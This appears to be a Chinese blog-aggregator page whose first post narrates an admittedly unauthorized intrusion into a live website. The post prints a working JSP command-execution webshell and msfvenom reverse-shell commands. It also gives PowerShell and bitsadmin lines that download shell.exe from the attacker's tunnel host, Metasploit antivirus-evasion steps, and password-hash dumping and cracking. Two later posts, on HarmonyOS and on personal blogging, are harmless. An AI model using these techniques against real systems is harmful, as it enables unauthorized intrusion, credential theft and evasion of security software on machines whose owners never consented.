首页 文章 精选 留言 我的

精选列表

搜索[X3D鸡血模式]，共10007篇文章
优秀的个人博客,低调大师

菜鸡的渗透日记

Fofa上找了个站，未授权，所以下文图片打码 漏洞url为：http://ip:port/ 1. 弱口令登录 由于一个后台弱口令，才有了下面的渗透过程. 试了个弱口令，admin，123456进去了 2. 寻找上传点 最近对文件上传漏洞很敏感，因为文件上传比较方便，可以直接传 🐴弹shell🐷 翻了翻，在后台菜单发现了一个“附件管理”的功能 选择添加附件 然后抓包，由于环境是java+tomcat+iis，看看能不能上传一个jsp 🐴 我首先是上传了一个执行命令并回显的 🐴 <% if ("023".equals(request.getParameter("pwd"))) { java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b)) != -1) { out.println(new String(b)); } out.print("</pre>"); } %> 发包 小 🐴 路径：http://ip:port/static/tmp/aca388dd-ddf3-48e0-b96a-642a4086e951.jsp?pwd=023&i=whoami 执行whoami命令，当前用户是个nt authority\system权限，好事，省的一会还得提权 这下知道了对面是个win，执行dir看一下目录 报错了，经测试，无法查看目录，但是可以执行systeminfo 系统是 Windows Server 2008 R2 Enterprise，打了208个补丁（还好不用提权） 3. 传马 然后我打算搞一个msf的 🐴 上去 msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.jsp jsp感觉是真的麻烦，只能会连一个cmd，不能回连meterpreter，所以几乎浪费了一晚上的时候 ): 然后msf配置好，接shell 4. 尝试cmd->meterpreter cmd对接下来的渗透不方便，想改为meterpreter 问了队里的师傅，说search upgrade一下，有把cmd转换为meterpreter的模块 应该是那个post/multi/manage/shell_to_meterpreter模块没错了 坑点1 问题来了，要想使用其他模块就需要把这个session放到后台去，平常meterpreter的操作都是background，这个cmd我当时就懵了 无意中发现在cmd里也可以使用meterpreter的部分命令，不得不说msf真是强大 background放到后台，use post/multi/manage/shell_to_meterpreter，set SESSION <id>，然后run 不知道为什么，它就失败了 坑点2 下一种方法，搞一个windows/meterpreter/reverse_tcp的 🐴 上去，拿msf生成了个 🐴 msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -i 10 -f exe > shell.exe 由于cmd可以使用msf的upload命令，直接执行upload shell.exe shell.exe上去 再一次挺突然的，失败了 远程下载文件 powershell 平常都是使用powershell的，所以这次也打算拿它下载 本地搭个web服务，然后用Natapp隧道转发一下，这样就能方便的下载文件了，还能看有没有流量过来 然后执行powershell命令，powershell (new-object Net.WebClient).DownloadFile('http://xxxxxx.natappfree.cc/shell.exe','C:\Path\shell.exe') 然后再一次，半天无回显 bitsadmin 还有bitsadmin的下载方法，win7以上可以使用，但是这个环境也是成功了，感觉比powershell好用 bitsadmin /transfer n http://xxxxxx.natappfree.cc/shell.exe C:\Path\shell.exe 5. 恶心的杀软 当晚大意了，没注意进程里有没有杀软， 🐴 一直不上线，本地测试也一直不上线，造成了vps出问题的假象 修了一晚上的vps，才发现是我本地杀软没关，连不上，对方的机子里有杀软，也连不上 tasklist看一下，对方的机子里有腾讯安全管家（由于我的智障操作，导致后来远程桌面连上后，杀软已经报了好几个毒，还好没被发现） 尝试免杀 免杀还是第一次，所以只会拿工具免杀 先是试了shellter，avet，venom，都没过（可能是我工具使用姿势不对） 然后查到了一篇Evasion的免杀，这个免杀是msf的一个模块，在metasploit5.0加入，不得不说msf真是强大 msf5 > use evasion/windows/windows_defender_exe msf5 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp msf5 > set LHOST <ip> msf5 > set LPORT <port> msf5 > run 然后就会生成一个随机名字的 🐴 ，为了测试，本地下了一个安全管家 这次 🐴 成功的上线了 6. 尝试抓明文密码 猕猴桃 用msf自带的mimikatz抓明文密码 load mimikatz kerberos 由于杀软问题，抓不到明文密码 msf自带模块 又是强大的msf起作用了，post/windows/gather/smart_hashdump模块抓明文密码 Administrator的密码是第二个哈希值，第一个是空密码 拿哈希值去cmd5解密，是一条付费的，正好群里有个师傅快到期了，帮解密，成功的拿到明文密码 7. 远程连接 当时直接连上了Administrator的账户，队里师傅说会把别人踢下线 正确操作应该是添加个管理员账号，然后再连 小站无内网，渗透结束 声明：作者初衷用于分享与普及网络知识，若读者因此作出任何危害网络安全行为后果自负，与合天智汇及原作者无关。网安干货天天更，关注账号不迷路~ 相关实验：Metasploit制作木马后门
2020-06-19
优秀的个人博客,低调大师

「纯血」鸿蒙真机界面曝光

博主@Flanker_017 在微博晒出 HarmonyOS NEXT 真机上手图，展示了新系统的操作界面。 该博主透露，新版本中原生 Android 应用已经无法使用。“如果本地数据多的，比如微信聊天、笔记软件，还是得给方案的，否则即使能从云端重新拉，用户体验也太差”。 今年 1 月，华为宣布HarmonyOSNEXT 鸿蒙星河版系统开发者预览版开放申请。在几日前的华为鸿蒙生态春季沟通会上，华为终端 BG CEO 余承东宣布将在 6 月份举办华为开发者大会，届时 HarmonyOS NEXT 将正式开启 Beta。
2024-04-15
优秀的个人博客,低调大师

一只菜鸡的半年技术博客之路

我写作的初心 做 IT或者程序员工作的我们都知道（其实不只限于IT，我想其他行业也是如此），平时的学习工作过程中，难免会遇到各种问题需要查资料的情形，此时就某一技术问题我们在因特网上会遇到太多太多的信息了！（就像当我们急切需要某一款电子产品，然而翻遍了各大电商，各种测评也找不到一款最满意的产品一样） 我们都看过太多技术博客，要么写法含糊，让人疑点重重；要么按照文章操作后无法复现，跟耍流氓一样；甚至还有一些实在是不知所云，写得完全看不懂，代码混乱，没有配图。每当此时我就会心里暗下决心，如果我是博主，我会把这篇文章写得怎么怎么样…… 另一方面，一直以来自己有一个不知道大家有没有的困惑，那就是遗忘这个东西实在太严重了！学过的东西，实践过的知识，甚至自己曾经轻车熟路的项目，随着时间的流逝，都慢慢的在记忆中模糊了，变淡了，甚至遗忘了。讲实话，我很讨厌这种感觉。在如今95后大牛们都 “大行其道” 的今天，随着自己年龄的增长，我不想让我的所学所感从我手中轻易流逝，我想抓住他，我想将它留在某个地方，我想将它镌刻在某个地方…… 无疑，自己的技术博客是最好的场所 然而重度拖延症的我一直带着这个想法很久也没有付诸行动，直到今年，我才将这个事情提上日程，逼着自己多学习，多记录，多分享，所以就这样开始了旅途…… 什么时候开始写技术博客 2017年12月30日11:54分，在简书上写下了第一篇博文：《Java编程思想学习录（连载之：一切都是对象）》，毕竟是菜鸟嘛，那时候正在看《Java编程思想》这本书的第一章。 我写作的原则 能用图形展示的尽量不用表格 能用表格展示的尽量不用文字 如果只能用文字，那我会尽量让枯燥的文字少一些、生动一些 文章尽量 务实，能看懂，读者可复现，方便他人也方便自己 我目前写了些啥 半年，四十篇原创 文章，总结如下（若有错误或不当之处，还请批评指正）： 【基础篇】 Java编程思想学习录（连载之：一切都是对象） Java编程思想学习录（连载之：初始化与清理） Java编程思想学习录（连载之：内部类） Java编程思想学习录（连载之：异常） 【SringBoot篇】 Spring Boot Admin 2.0开箱体验 从SpringBoot到SpringMVC ElasticSearch搜索引擎在SpringBoot中的实践 Spring Boot日志框架实践 初探Kotlin+SpringBoot联合编程 SpringBoot优雅编码之：Lombok加持 SpringBoot应用Docker化 Spring Boot应用监控实战 SpringBoot应用部署于外置Tomcat容器 SpringBoot热部署加持 SpringBoot 中 @SpringBootApplication注解背后的三体结构探秘 【Docker容器篇】 利用ELK搭建Docker容器化应用日志中心 Docker容器可视化监控中心搭建 Docker容器跨主机通信之：直接路由方式 利用TICK搭建Docker容器可视化监控中心 编写高效Dockerfile的几条准则 【容器集群篇】 Docker Swarm集群初探 利用K8S技术栈打造个人私有云（连载之：初章） 利用K8S技术栈打造个人私有云（连载之：K8S集群搭建） 利用K8S技术栈打造个人私有云（连载之：K8S环境理解和练手） 利用K8S技术栈打造个人私有云（连载之：基础镜像制作与实验） 利用K8S技术栈打造个人私有云（连载之：K8S资源控制） 利用K8S技术栈打造个人私有云（连载之：私有云客户端打造） Docker Swarm的前世今生 【综合技术栈篇】 CentOS7上ElasticSearch安装填坑记 Pipeline As Code With Jenkins2.0 微服务调用链追踪中心搭建 利用Zipkin追踪Mysql数据库调用链 RPC框架实践之：Apache Thrift RPC框架实践之：Google gRPC Nginx服务器开箱体验 从一份配置清单详解Nginx服务器配置 从一份定义文件详解ELK中Logstash插件结构 【趣味技术篇】 函数式编程思维在三行代码情书中的应用 你可能没有细究过的TCP/IP Groovy初体验：构建高性能JVM应用 个人 Blog 搭建 博客框架倒腾了 若干 博客主题换了 不下于十几个 连博客部署地都换了 好几个 最终确定了现在的这个 Personal Blog ! 简书写作 从年初开始写第一篇文章以来，目前简书上已有四十篇原创文章，收获粉丝1000+ My 简书在此 ！ 个人公众号开通 虽然现有的博客平台写作较为方便，但毕竟是被动式更新，为了能 及时主动 地更新发表文章，为了方便自己在手机上 碎片化 的学习和复习所学的知识，于是我开通了个人公号：CodeSheep，目标定位是 分享 虚拟化，容器化，API化 和 微服务化的 Web技术，而且我也在为此努力着 ！ 是什么让我坚持下来了 读者的每一个赞 每一个关注 每一条评论 甚至每一个赞赏 都给了我莫大的鼓励 读者提出的每一个意见 读者对自己每一个错误的指出 都让我受益颇深 我收获了什么 让我巩固了自己的所学所用 和大家广泛的交流让我认识到自己的不足 结交了很多志同道合的朋友 我在不停地汲取大家宝贵经验的同时，也回馈了自己的所学所感给读者，我很满足 后记 由于能力有限，若有错误或者不当之处，还请大家批评指正，一起学习交流！ 他山之石，可以攻玉，与君共勉 ！
2018-08-05

资源下载

更多资源
腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题，腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构，目前腾讯云软件源站支持公网访问和内网访问。

时间: 2026-08-21 大小: 1MB 下载: 10次
Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称，一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集，帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

时间: 2026-09-24 大小: 189MB 下载: 9次
Spring

Spring

Spring框架（Spring Framework）是由Rod Johnson于2002年提出的开源Java企业级应用框架，旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念，提供核心容器、应用上下文、数据访问集成等模块，支持整合Hibernate、Struts等第三方框架，其适用范围不仅限于服务器端开发，绝大多数Java应用均可从中受益。

时间: 2026-08-21 大小: 5MB 下载: 2次
Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能，例如代码缩略图，Python的插件，代码段等。还可自定义键绑定，菜单和工具栏。Sublime Text 的主要功能包括：拼写检查，书签，完整的 Python API ， Goto 功能，即时项目切换，多选择，多窗口等等。Sublime Text 是一个跨平台的编辑器，同时支持Windows、Linux、Mac OS X等操作系统。

时间: 2026-08-21 大小: 9.84MB 下载: 40次
热门标签
DeepSeek Jdk25 OpenAi HarmonyOS6 Nacos3 SpringBoot4 SpringCloud Docker Kubernetes Service Mesh Redis Gemini3 Rocky

欢迎您来访！

登录后，您将获得更多功能！
热门文章
联系我们

有任何问题或合作意向欢迎联系我们

Email: 99873273@qq.com

QQ: 99873273

用户登录
用户注册